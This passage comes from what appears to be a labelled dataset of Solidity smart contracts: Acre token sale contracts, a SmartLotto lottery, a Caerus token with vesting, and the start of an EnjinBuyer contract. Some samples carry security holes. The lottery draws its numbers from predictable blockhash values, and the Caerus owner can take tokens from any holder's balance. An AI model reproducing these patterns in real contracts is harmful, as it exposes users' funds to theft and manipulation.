require(!frozenAccount[_to]);
require(!isLockup(_from));
require(!isLockup(_to));
return super._transfer(_from, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(!frozenAccount[msg.sender]);
require(!isLockup(msg.sender));
return super.transferFrom(_from, _to, _value);
}
function freezeAccount(address _target) onlyManagers public returns (bool success) {
require(!isManageable(_target));
require(!frozenAccount[_target]);
frozenAccount[_target] = true;
FrozenAccount(_target, true);
return true;
}
function unfreezeAccount(address _target) onlyManagers public returns (bool success) {
require(frozenAccount[_target]);
frozenAccount[_target] = false;
FrozenAccount(_target, false);
return true;
}
function burn(uint _value) onlyManagers public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
function mining(address _recipient, uint _value) onlyManagers public returns (bool success) {
require(_recipient != address(0));
require(!frozenAccount[_recipient]);
require(!isLockup(_recipient));
require(SafeMath.add(totalMineSupply, _value) <= MAX_MINING_SUPPLY);
balanceOf[_recipient] = balanceOf[_recipient].add(_value);
totalSupply = totalSupply.add(_value);
totalMineSupply = totalMineSupply.add(_value);
Mining(_recipient, _value);
return true;
}
function withdrawContractToken(uint _value) onlyManagers public returns (bool success) {
_transfer(this, msg.sender, _value);
WithdrawContractToken(msg.sender, _value);
return true;
}
function getContractBalanceOf() public constant returns(uint blance) {
blance = balanceOf[this];
}
function getRemainingMineSupply() public constant returns(uint supply) {
supply = MAX_MINING_SUPPLY - totalMineSupply;
}
function () public { revert(); }
}
contract AcreSale is MultiOwnable {
uint public saleDeadline;
uint public startSaleTime;
uint public softCapToken;
uint public hardCapToken;
uint public soldToken;
uint public receivedEther;
address public sendEther;
AcreToken public tokenReward;
bool public fundingGoalReached = false;
bool public saleOpened = false;
Payment public kyc;
Payment public refund;
Payment public withdrawal;
mapping(uint=>address) public indexedFunders;
mapping(address => Order) public orders;
uint public funderCount;
event StartSale(uint softCapToken, uint hardCapToken, uint minEther, uint exchangeRate, uint startTime, uint deadline);
event ReservedToken(address indexed funder, uint amount, uint token, uint bonusRate);
event WithdrawFunder(address indexed funder, uint value);
event WithdrawContractToken(address indexed owner, uint value);
event CheckGoalReached(uint raisedAmount, uint raisedToken, bool reached);
event CheckOrderstate(address indexed funder, eOrderstate oldState, eOrderstate newState);
enum eOrderstate { NONE, KYC, REFUND }
struct Order {
eOrderstate state;
uint paymentEther;
uint reservedToken;
bool withdrawn;
}
struct Payment {
uint token;
uint eth;
uint count;
}
modifier afterSaleDeadline {
require(now > saleDeadline);
_;
}
function AcreSale(
address _sendEther,
uint _softCapToken,
uint _hardCapToken,
AcreToken _addressOfTokenUsedAsReward
) public {
require(_sendEther != address(0));
require(_addressOfTokenUsedAsReward != address(0));
require(_softCapToken > 0 && _softCapToken <= _hardCapToken);
sendEther = _sendEther;
softCapToken = _softCapToken * 10 ** uint(TOKEN_DECIMALS);
hardCapToken = _hardCapToken * 10 ** uint(TOKEN_DECIMALS);
tokenReward = AcreToken(_addressOfTokenUsedAsReward);
}
function startSale(uint _durationTime) onlyManagers internal {
require(softCapToken > 0 && softCapToken <= hardCapToken);
require(hardCapToken > 0 && hardCapToken <= tokenReward.balanceOf(this));
require(_durationTime > 0);
require(startSaleTime == 0);
startSaleTime = now;
saleDeadline = SafeMath.add(startSaleTime, SafeMath.mul(_durationTime, TIME_FACTOR));
saleOpened = true;
StartSale(softCapToken, hardCapToken, MIN_ETHER, EXCHANGE_RATE, startSaleTime, saleDeadline);
}
function getRemainingSellingTime() public constant returns(uint remainingTime) {
if(now <= saleDeadline) {
remainingTime = getMinutes(SafeMath.sub(saleDeadline, now));
}
}
function getRemainingSellingToken() public constant returns(uint remainingToken) {
remainingToken = SafeMath.sub(hardCapToken, soldToken);
}
function getSoftcapReached() public constant returns(bool reachedSoftcap) {
reachedSoftcap = soldToken >= softCapToken;
}
function getContractBalanceOf() public constant returns(uint blance) {
blance = tokenReward.balanceOf(this);
}
function getCurrentBonusRate() public constant returns(uint8 bonusRate);
function checkGoalReached() onlyManagers afterSaleDeadline public {
if(saleOpened) {
if(getSoftcapReached()) {
fundingGoalReached = true;
}
saleOpened = false;
CheckGoalReached(receivedEther, soldToken, fundingGoalReached);
}
}
function checkKYC(address _funder) onlyManagers afterSaleDeadline public {
require(!saleOpened);
require(orders[_funder].reservedToken > 0);
require(orders[_funder].state != eOrderstate.KYC);
require(!orders[_funder].withdrawn);
eOrderstate oldState = orders[_funder].state;
if(oldState == eOrderstate.REFUND) {
refund.token = refund.token.sub(orders[_funder].reservedToken);
refund.eth = refund.eth.sub(orders[_funder].paymentEther);
refund.count = refund.count.sub(1);
}
orders[_funder].state = eOrderstate.KYC;
kyc.token = kyc.token.add(orders[_funder].reservedToken);
kyc.eth = kyc.eth.add(orders[_funder].paymentEther);
kyc.count = kyc.count.add(1);
CheckOrderstate(_funder, oldState, eOrderstate.KYC);
}
function checkRefund(address _funder) onlyManagers afterSaleDeadline public {
require(!saleOpened);
require(orders[_funder].reservedToken > 0);
require(orders[_funder].state != eOrderstate.REFUND);
require(!orders[_funder].withdrawn);
eOrderstate oldState = orders[_funder].state;
if(oldState == eOrderstate.KYC) {
kyc.token = kyc.token.sub(orders[_funder].reservedToken);
kyc.eth = kyc.eth.sub(orders[_funder].paymentEther);
kyc.count = kyc.count.sub(1);
}
orders[_funder].state = eOrderstate.REFUND;
refund.token = refund.token.add(orders[_funder].reservedToken);
refund.eth = refund.eth.add(orders[_funder].paymentEther);
refund.count = refund.count.add(1);
CheckOrderstate(_funder, oldState, eOrderstate.REFUND);
}
function withdrawFunder(address _funder) onlyManagers afterSaleDeadline public {
require(!saleOpened);
require(fundingGoalReached);
require(orders[_funder].reservedToken > 0);
require(orders[_funder].state == eOrderstate.KYC);
require(!orders[_funder].withdrawn);
tokenReward.transfer(_funder, orders[_funder].reservedToken);
withdrawal.token = withdrawal.token.add(orders[_funder].reservedToken);
withdrawal.eth = withdrawal.eth.add(orders[_funder].paymentEther);
withdrawal.count = withdrawal.count.add(1);
orders[_funder].withdrawn = true;
WithdrawFunder(_funder, orders[_funder].reservedToken);
}
function withdrawContractToken(uint _value) onlyManagers public {
tokenReward.transfer(msg.sender, _value);
WithdrawContractToken(msg.sender, _value);
}
function () payable public {
require(saleOpened);
require(now <= saleDeadline);
require(MIN_ETHER <= msg.value);
uint amount = msg.value;
uint curBonusRate = getCurrentBonusRate();
uint token = (amount.mul(curBonusRate.add(100)).div(100)).mul(EXCHANGE_RATE);
require(token > 0);
require(SafeMath.add(soldToken, token) <= hardCapToken);
sendEther.transfer(amount);
if(orders[msg.sender].paymentEther == 0) {
indexedFunders[funderCount] = msg.sender;
funderCount = funderCount.add(1);
orders[msg.sender].state = eOrderstate.NONE;
}
orders[msg.sender].paymentEther = orders[msg.sender].paymentEther.add(amount);
orders[msg.sender].reservedToken = orders[msg.sender].reservedToken.add(token);
receivedEther = receivedEther.add(amount);
soldToken = soldToken.add(token);
ReservedToken(msg.sender, amount, token, curBonusRate);
}
}
contract AcrePresale is AcreSale {
function AcrePresale(
address _sendEther,
uint _softCapToken,
uint _hardCapToken,
AcreToken _addressOfTokenUsedAsReward
) AcreSale(
_sendEther,
_softCapToken,
_hardCapToken,
_addressOfTokenUsedAsReward) public {
}
function startPresale() onlyManagers public {
startSale(PRESALE_DURATION_TIME);
}
function getCurrentBonusRate() public constant returns(uint8 bonusRate) {
if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 30; }
else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(15, TIME_FACTOR))) { bonusRate = 25; }
else { bonusRate = 0; }
}
}
contract AcreCrowdsale is AcreSale {
function AcreCrowdsale(
address _sendEther,
uint _softCapToken,
uint _hardCapToken,
AcreToken _addressOfTokenUsedAsReward
) AcreSale(
_sendEther,
_softCapToken,
_hardCapToken,
_addressOfTokenUsedAsReward) public {
}
function startCrowdsale() onlyManagers public {
startSale(CROWDSALE_DURATION_TIME);
}
function getCurrentBonusRate() public constant returns(uint8 bonusRate) {
if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 20; }
else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(15, TIME_FACTOR))) { bonusRate = 15; }
else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(23, TIME_FACTOR))) { bonusRate = 10; }
else { bonusRate = 0; }
}
} | 1 | 3,774 |
pragma solidity ^0.5.1;
contract SmartLotto {
using SafeMath for uint;
uint private constant DAY_IN_SECONDS = 86400;
struct Member {
address payable addr;
uint ticket;
uint8[5] numbers;
uint8 matchNumbers;
uint prize;
}
struct Game {
uint datetime;
uint8[5] win_numbers;
uint membersCounter;
uint totalFund;
uint8 status;
mapping(uint => Member) members;
}
mapping(uint => Game) public games;
uint private CONTRACT_STARTED_DATE = 0;
uint private constant TICKET_PRICE = 0.01 ether;
uint private constant MAX_NUMBER = 36;
uint private constant PERCENT_FUND_JACKPOT = 15;
uint private constant PERCENT_FUND_4 = 35;
uint private constant PERCENT_FUND_3 = 30;
uint private constant PERCENT_FUND_2 = 20;
uint public JACKPOT = 0;
uint public GAME_NUM = 0;
uint private constant return_jackpot_period = 25 weeks;
uint private start_jackpot_amount = 0;
uint private constant PERCENT_FUND_PR = 12;
uint private FUND_PR = 0;
address payable private constant ADDRESS_SERVICE = 0xA3ba6CA37E5A3904ECd79D31B575dc1B2BEA6A74;
address payable private constant ADDRESS_START_JACKPOT = 0xa42b3D62471E3e9Cc502d3ef65857deb04032613;
address payable private constant ADDRESS_PR = 0x173Ff9be87F1D282B7377d443Aa5C12842266BD3;
event NewMember(uint _gamenum, uint _ticket, address _addr, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event NewGame(uint _gamenum);
event UpdateFund(uint _fund);
event UpdateJackpot(uint _jackpot);
event WinNumbers(uint _gamenum, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event WinPrize(uint _gamenum, uint _ticket, uint _prize, uint8 _match);
function() external payable {
if(msg.sender == ADDRESS_START_JACKPOT) {
processStartingJackpot();
} else {
if(msg.sender == ADDRESS_SERVICE) {
startGame();
} else {
processUserTicket();
}
}
}
function processStartingJackpot() private {
if(msg.value > 0) {
JACKPOT += msg.value;
start_jackpot_amount += msg.value;
emit UpdateJackpot(JACKPOT);
} else {
if(start_jackpot_amount > 0){
_returnStartJackpot();
}
}
}
function _returnStartJackpot() private {
if(JACKPOT > start_jackpot_amount * 2 || (now - CONTRACT_STARTED_DATE) > return_jackpot_period) {
if(JACKPOT > start_jackpot_amount) {
ADDRESS_START_JACKPOT.transfer(start_jackpot_amount);
JACKPOT = JACKPOT - start_jackpot_amount;
start_jackpot_amount = 0;
} else {
ADDRESS_START_JACKPOT.transfer(JACKPOT);
start_jackpot_amount = 0;
JACKPOT = 0;
}
emit UpdateJackpot(JACKPOT);
}
}
function startGame() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if(GAME_NUM == 0) {
GAME_NUM = 1;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 1;
CONTRACT_STARTED_DATE = now;
} else {
if(weekday == 7 && hour == 9) {
if(msg.value == 111) {
processGame();
}
if(msg.value == 222) {
games[GAME_NUM].status = 1;
}
}
}
}
function processGame() private {
uint8 mn = 0;
uint winners5 = 0;
uint winners4 = 0;
uint winners3 = 0;
uint winners2 = 0;
uint fund4 = 0;
uint fund3 = 0;
uint fund2 = 0;
for(uint8 i = 0; i < 5; i++) {
games[GAME_NUM].win_numbers[i] = random(i);
}
games[GAME_NUM].win_numbers = sortNumbers(games[GAME_NUM].win_numbers);
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i+1; j < 5; j++) {
if(games[GAME_NUM].win_numbers[i] == games[GAME_NUM].win_numbers[j]) {
games[GAME_NUM].win_numbers[j]++;
}
}
}
uint8[5] memory win_numbers;
win_numbers = games[GAME_NUM].win_numbers;
emit WinNumbers(GAME_NUM, win_numbers[0], win_numbers[1], win_numbers[2], win_numbers[3], win_numbers[4]);
if(games[GAME_NUM].membersCounter > 0) {
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
mn = findMatch(games[GAME_NUM].win_numbers, games[GAME_NUM].members[i].numbers);
games[GAME_NUM].members[i].matchNumbers = mn;
if(mn == 5) {
winners5++;
}
if(mn == 4) {
winners4++;
}
if(mn == 3) {
winners3++;
}
if(mn == 2) {
winners2++;
}
}
JACKPOT = JACKPOT + games[GAME_NUM].totalFund * PERCENT_FUND_JACKPOT / 100;
fund4 = games[GAME_NUM].totalFund * PERCENT_FUND_4 / 100;
fund3 = games[GAME_NUM].totalFund * PERCENT_FUND_3 / 100;
fund2 = games[GAME_NUM].totalFund * PERCENT_FUND_2 / 100;
if(winners4 == 0) {
JACKPOT = JACKPOT + fund4;
}
if(winners3 == 0) {
JACKPOT = JACKPOT + fund3;
}
if(winners2 == 0) {
JACKPOT = JACKPOT + fund2;
}
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
if(games[GAME_NUM].members[i].matchNumbers == 5) {
games[GAME_NUM].members[i].prize = JACKPOT / winners5;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 5);
}
if(games[GAME_NUM].members[i].matchNumbers == 4) {
games[GAME_NUM].members[i].prize = fund4 / winners4;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 4);
}
if(games[GAME_NUM].members[i].matchNumbers == 3) {
games[GAME_NUM].members[i].prize = fund3 / winners3;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 3);
}
if(games[GAME_NUM].members[i].matchNumbers == 2) {
games[GAME_NUM].members[i].prize = fund2 / winners2;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 2);
}
if(games[GAME_NUM].members[i].matchNumbers == 1) {
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 1);
}
}
if(winners5 != 0) {
JACKPOT = 0;
start_jackpot_amount = 0;
}
}
emit UpdateJackpot(JACKPOT);
GAME_NUM++;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 0;
emit NewGame(GAME_NUM);
ADDRESS_PR.transfer(FUND_PR);
FUND_PR = 0;
}
function findMatch(uint8[5] memory arr1, uint8[5] memory arr2) private pure returns (uint8) {
uint8 cnt = 0;
for(uint8 i = 0; i < 5; i++) {
for(uint8 j = 0; j < 5; j++) {
if(arr1[i] == arr2[j]) {
cnt++;
break;
}
}
}
return cnt;
}
function processUserTicket() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if( GAME_NUM > 0 && (weekday != 7 || (weekday == 7 && (hour < 8 || hour > 11 ))) ) {
if(msg.value == TICKET_PRICE) {
createTicket();
} else {
if(msg.value < TICKET_PRICE) {
FUND_PR = FUND_PR + msg.value.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + msg.value.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
} else {
msg.sender.transfer(msg.value.sub(TICKET_PRICE));
createTicket();
}
}
} else {
msg.sender.transfer(msg.value);
}
}
function createTicket() private {
bool err = false;
uint8[5] memory numbers;
FUND_PR = FUND_PR + TICKET_PRICE.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + TICKET_PRICE.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
(err, numbers) = ParseCheckData();
uint mbrCnt;
if(!err) {
numbers = sortNumbers(numbers);
games[GAME_NUM].membersCounter++;
mbrCnt = games[GAME_NUM].membersCounter;
games[GAME_NUM].members[mbrCnt].addr = msg.sender;
games[GAME_NUM].members[mbrCnt].ticket = mbrCnt;
games[GAME_NUM].members[mbrCnt].numbers = numbers;
games[GAME_NUM].members[mbrCnt].matchNumbers = 0;
emit NewMember(GAME_NUM, mbrCnt, msg.sender, numbers[0], numbers[1], numbers[2], numbers[3], numbers[4]);
}
}
function ParseCheckData() private view returns (bool, uint8[5] memory) {
bool err = false;
uint8[5] memory numbers;
if(msg.data.length == 5) {
for(uint8 i = 0; i < msg.data.length; i++) {
numbers[i] = uint8(msg.data[i]);
}
for(uint8 i = 0; i < numbers.length; i++) {
if(numbers[i] < 1 || numbers[i] > MAX_NUMBER) {
err = true;
break;
}
}
if(!err) {
for(uint8 i = 0; i < numbers.length-1; i++) {
for(uint8 j = i+1; j < numbers.length; j++) {
if(numbers[i] == numbers[j]) {
err = true;
break;
}
}
if(err) {
break;
}
}
}
} else {
err = true;
}
return (err, numbers);
}
function sortNumbers(uint8[5] memory arrNumbers) private pure returns (uint8[5] memory) {
uint8 temp;
for(uint8 i = 0; i < arrNumbers.length - 1; i++) {
for(uint j = 0; j < arrNumbers.length - i - 1; j++)
if (arrNumbers[j] > arrNumbers[j + 1]) {
temp = arrNumbers[j];
arrNumbers[j] = arrNumbers[j + 1];
arrNumbers[j + 1] = temp;
}
}
return arrNumbers;
}
function getBalance() public view returns(uint) {
uint balance = address(this).balance;
return balance;
}
function random(uint8 num) internal view returns (uint8) {
return uint8(uint(blockhash(block.number - 1 - num*2)) % MAX_NUMBER + 1);
}
function getHour(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getWeekday(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function getGameInfo(uint i) public view returns (uint, uint, uint, uint8, uint8, uint8, uint8, uint8, uint8) {
Game memory game = games[i];
return (game.datetime, game.totalFund, game.membersCounter, game.win_numbers[0], game.win_numbers[1], game.win_numbers[2], game.win_numbers[3], game.win_numbers[4], game.status);
}
function getMemberInfo(uint i, uint j) public view returns (address, uint, uint8, uint8, uint8, uint8, uint8, uint8, uint) {
Member memory mbr = games[i].members[j];
return (mbr.addr, mbr.ticket, mbr.matchNumbers, mbr.numbers[0], mbr.numbers[1], mbr.numbers[2], mbr.numbers[3], mbr.numbers[4], mbr.prize);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,016 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
contract RateToken is Ownable {
using SafeMath for uint256;
struct Discount {
uint256 minTokens;
uint256 percent;
}
mapping(address => Discount) private discounts;
uint256 public rate;
event RateSet(uint256 rate);
function RateToken(uint256 _initialRate) public {
setRate(_initialRate);
}
function setRate(uint _rateInWei) onlyOwner public {
require(_rateInWei > 0);
rate = _rateInWei;
RateSet(rate);
}
function addDiscount(address _buyer, uint256 _minTokens, uint256 _percent) public onlyOwner returns (bool) {
require(_buyer != address(0));
require(_minTokens > 0);
require(_percent > 0);
require(_percent < 100);
Discount memory discount;
discount.minTokens = _minTokens;
discount.percent = _percent;
discounts[_buyer] = discount;
return true;
}
function removeDiscount(address _buyer) public onlyOwner {
require(_buyer != address(0));
removeExistingDiscount(_buyer);
}
function calculateWeiNeeded(address _buyer, uint _tokens) public view returns (uint256) {
require(_buyer != address(0));
require(_tokens > 0);
Discount memory discount = discounts[_buyer];
require(_tokens >= discount.minTokens);
if (discount.minTokens == 0) {
return _tokens.div(rate);
}
uint256 costOfTokensNormally = _tokens.div(rate);
return costOfTokensNormally.mul(100 - discount.percent).div(100);
}
function removeExistingDiscount(address _buyer) internal {
delete(discounts[_buyer]);
}
function calculateTokens(address _buyer, uint256 _buyerAmountInWei) internal view returns (uint256) {
Discount memory discount = discounts[_buyer];
if (discount.minTokens == 0) {
return _buyerAmountInWei.mul(rate);
}
uint256 normalTokens = _buyerAmountInWei.mul(rate);
uint256 discountBonus = normalTokens.mul(discount.percent).div(100);
uint256 tokens = normalTokens + discountBonus;
require(tokens >= discount.minTokens);
return tokens;
}
}
contract CaerusToken is RateToken, PausableToken, DetailedERC20 {
mapping (address => uint256) public contributions;
uint256 public tokenSold = 0;
uint256 public weiRaised = 0;
address transferAddress;
mapping (address => TokenVesting) public vestedTokens;
event TokensBought(address indexed buyer, uint256 tokens);
event Contribution(address indexed buyer, uint256 amountInWei);
event VestedTokenCreated(address indexed beneficiary, uint256 duration, uint256 tokens);
event TokensSpent(address indexed tokensHolder, uint256 tokens);
function CaerusToken(address _transferAddress, uint _initialRate) public RateToken(_initialRate) DetailedERC20("Caerus Token", "CAER", 18) {
totalSupply_ = 73000000 * 10 ** 18;
transferAddress = _transferAddress;
balances[owner] = totalSupply_;
}
function setTransferAddress(address _transferAddress) onlyOwner public {
transferAddress = _transferAddress;
}
function() payable public {
buyTokens();
}
function buyTokens() payable public whenNotPaused {
require(msg.value > 0);
uint256 tokens = calculateTokens(msg.sender, msg.value);
transferTokens(owner, msg.sender, tokens);
markTokenSold(tokens);
markContribution();
removeExistingDiscount(msg.sender);
transferAddress.transfer(msg.value);
TokensBought(msg.sender, tokens);
}
function markTransferTokens(address _to, uint256 _tokens) onlyOwner public returns (bool) {
require(_to != address(0));
transferTokens(owner, _to, _tokens);
markTokenSold(_tokens);
return true;
}
function createVestedToken(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, uint256 _tokens) onlyOwner public returns (bool) {
TokenVesting vestedToken = new TokenVesting(_beneficiary, _start, _cliff, _duration, false);
vestedTokens[_beneficiary] = vestedToken;
address vestedAddress = address(vestedToken);
transferTokens(owner, vestedAddress, _tokens);
VestedTokenCreated(_beneficiary, _duration, _tokens);
return true;
}
function spendToken(uint256 _tokens) public returns (bool) {
transferTokens(msg.sender, owner, _tokens);
TokensSpent(msg.sender, _tokens);
return true;
}
function approve(address _spender, uint _value) public returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0);
return super.approve(_spender, _value);
}
function transferTokens(address _from, address _to, uint256 _tokens) private {
require(_tokens > 0);
require(balances[_from] >= _tokens);
balances[_from] = balances[_from].sub(_tokens);
balances[_to] = balances[_to].add(_tokens);
Transfer(_from, _to, _tokens);
}
function markContribution() private {
contributions[msg.sender] = contributions[msg.sender].add(msg.value);
weiRaised = weiRaised.add(msg.value);
Contribution(msg.sender, msg.value);
}
function markTokenSold(uint256 _tokens) private {
tokenSold = tokenSold.add(_tokens);
}
function transferAnyCaerusToken(address _tokenAddress, uint _tokens) public onlyOwner returns (bool success) {
transferTokens(_tokenAddress, owner, _tokens);
return true;
}
} | 1 | 5,275 |
pragma solidity ^0.4.16;
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract EnjinBuyer {
uint256 public eth_minimum = 3270 ether;
mapping (address => uint256) public balances;
uint256 public buy_bounty;
uint256 public withdraw_bounty;
bool public bought_tokens;
uint256 public contract_eth_value;
bool public kill_switch;
bytes32 password_hash = 0x48e4977ec30c7c773515e0fbbfdce3febcd33d11a34651c956d4502def3eac09;
uint256 public earliest_buy_time = 1504188000;
uint256 public eth_cap = 5000 ether;
address public developer = 0xA4f8506E30991434204BC43975079aD93C8C5651;
address public sale;
ERC20 public token;
function set_sale_address(address _sale) {
require(msg.sender == developer);
require(sale == 0x0);
sale = _sale;
}
function activate_kill_switch(string password) {
require(msg.sender == developer || sha3(password) == password_hash);
